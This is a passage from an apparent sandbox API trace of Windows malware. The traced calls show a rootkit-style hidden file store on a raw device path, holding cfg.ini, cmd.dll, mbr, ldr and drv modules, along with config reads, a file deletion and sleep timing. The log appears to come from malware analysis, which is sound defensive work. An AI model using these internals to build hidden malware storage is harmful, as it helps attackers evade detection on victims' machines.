FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.985] KeLeaveCriticalRegion () [0122.985] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.986] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.986] KeEnterCriticalRegion () [0122.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.986] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8b000 [0122.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.986] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.986] IdePortDispatch () returned 0x103 [0122.986] KeWaitForMutexObject () returned 0x0 [0122.986] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.986] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.986] IdePortDispatch () returned 0x103 [0122.986] KeWaitForMutexObject () returned 0x0 [0122.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.986] KeLeaveCriticalRegion () [0122.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.987] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.987] KeEnterCriticalRegion () [0122.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.987] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.987] KeLeaveCriticalRegion () [0122.987] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.987] KeEnterCriticalRegion () [0122.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.987] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.987] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.987] KeLeaveCriticalRegion () [0122.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.987] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.987] KeEnterCriticalRegion () [0122.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.987] ExFreePoolWithTag (P=0xfffffa8003bbebb0, Tag=0x0) [0122.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.987] KeLeaveCriticalRegion () [0122.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.987] ReleaseMutex (hMutex=0xf0) returned 1 [0122.987] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.993] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.993] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.993] KeEnterCriticalRegion () [0122.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.993] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.993] IdePortDispatch () returned 0x103 [0122.994] KeWaitForMutexObject () returned 0x0 [0122.994] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.994] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.994] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.994] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.994] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.994] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0122.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.994] KeLeaveCriticalRegion () [0122.994] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.994] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.994] KeEnterCriticalRegion () [0122.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.994] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.994] KeLeaveCriticalRegion () [0122.994] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.994] KeEnterCriticalRegion () [0122.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.994] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.994] IdePortDispatch () returned 0x103 [0122.994] KeWaitForMutexObject () returned 0x0 [0122.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.995] KeLeaveCriticalRegion () [0122.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.995] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.995] KeEnterCriticalRegion () [0122.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8e000 [0122.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.995] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.995] IdePortDispatch () returned 0x103 [0122.995] KeWaitForMutexObject () returned 0x0 [0122.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.995] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.995] IdePortDispatch () returned 0x103 [0122.995] KeWaitForMutexObject () returned 0x0 [0122.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.995] KeLeaveCriticalRegion () [0122.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.996] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.996] KeEnterCriticalRegion () [0122.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.996] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.996] KeLeaveCriticalRegion () [0122.996] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.996] KeEnterCriticalRegion () [0122.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.996] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.996] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038259b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.996] KeLeaveCriticalRegion () [0122.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.996] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.996] KeEnterCriticalRegion () [0122.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.996] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0122.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.996] KeLeaveCriticalRegion () [0122.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.996] ReleaseMutex (hMutex=0xf0) returned 1 [0122.996] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.996] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.996] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.996] KeEnterCriticalRegion () [0122.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.996] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.996] IdePortDispatch () returned 0x103 [0122.997] KeWaitForMutexObject () returned 0x0 [0122.997] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.997] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.997] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.997] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.997] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.997] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be74b0 [0122.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.997] KeLeaveCriticalRegion () [0122.997] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.997] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.997] KeEnterCriticalRegion () [0122.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.997] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.997] KeLeaveCriticalRegion () [0122.997] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.997] KeEnterCriticalRegion () [0122.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.997] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.997] IdePortDispatch () returned 0x103 [0122.997] KeWaitForMutexObject () returned 0x0 [0122.997] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.997] KeLeaveCriticalRegion () [0122.998] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.998] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.998] KeEnterCriticalRegion () [0122.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.998] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8f000 [0122.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.998] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.998] IdePortDispatch () returned 0x103 [0122.998] KeWaitForMutexObject () returned 0x0 [0122.998] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.998] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.998] IdePortDispatch () returned 0x103 [0122.998] KeWaitForMutexObject () returned 0x0 [0122.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.998] KeLeaveCriticalRegion () [0122.998] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.999] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.999] KeEnterCriticalRegion () [0122.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.999] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.999] KeLeaveCriticalRegion () [0122.999] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.999] KeEnterCriticalRegion () [0122.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.999] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.999] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.999] KeLeaveCriticalRegion () [0122.999] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.999] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.999] KeEnterCriticalRegion () [0122.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.999] ExFreePoolWithTag (P=0xfffffa8003be74b0, Tag=0x0) [0122.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.999] KeLeaveCriticalRegion () [0122.999] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.000] ReleaseMutex (hMutex=0xf0) returned 1 [0123.000] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.000] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.000] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.000] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.000] KeEnterCriticalRegion () [0123.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.000] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.000] IdePortDispatch () returned 0x103 [0123.000] KeWaitForMutexObject () returned 0x0 [0123.000] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.000] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.000] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.000] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.000] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.000] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.000] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.000] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.000] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.000] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.000] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.000] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.000] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.000] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.000] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.000] KeLeaveCriticalRegion () [0123.000] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.000] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.000] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.000] KeEnterCriticalRegion () [0123.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.001] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.001] IdePortDispatch () returned 0x103 [0123.001] KeWaitForMutexObject () returned 0x0 [0123.001] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.001] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.001] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.001] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.001] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.001] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.001] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.001] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.001] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.001] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.001] KeLeaveCriticalRegion () [0123.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.001] ReleaseMutex (hMutex=0x100) returned 1 [0123.001] Sleep (dwMilliseconds=0x2bf20) [0123.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c8351b0, dwHighDateTime=0x1d24fa4)) [0123.008] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.008] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.008] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.008] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.008] KeEnterCriticalRegion () [0123.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 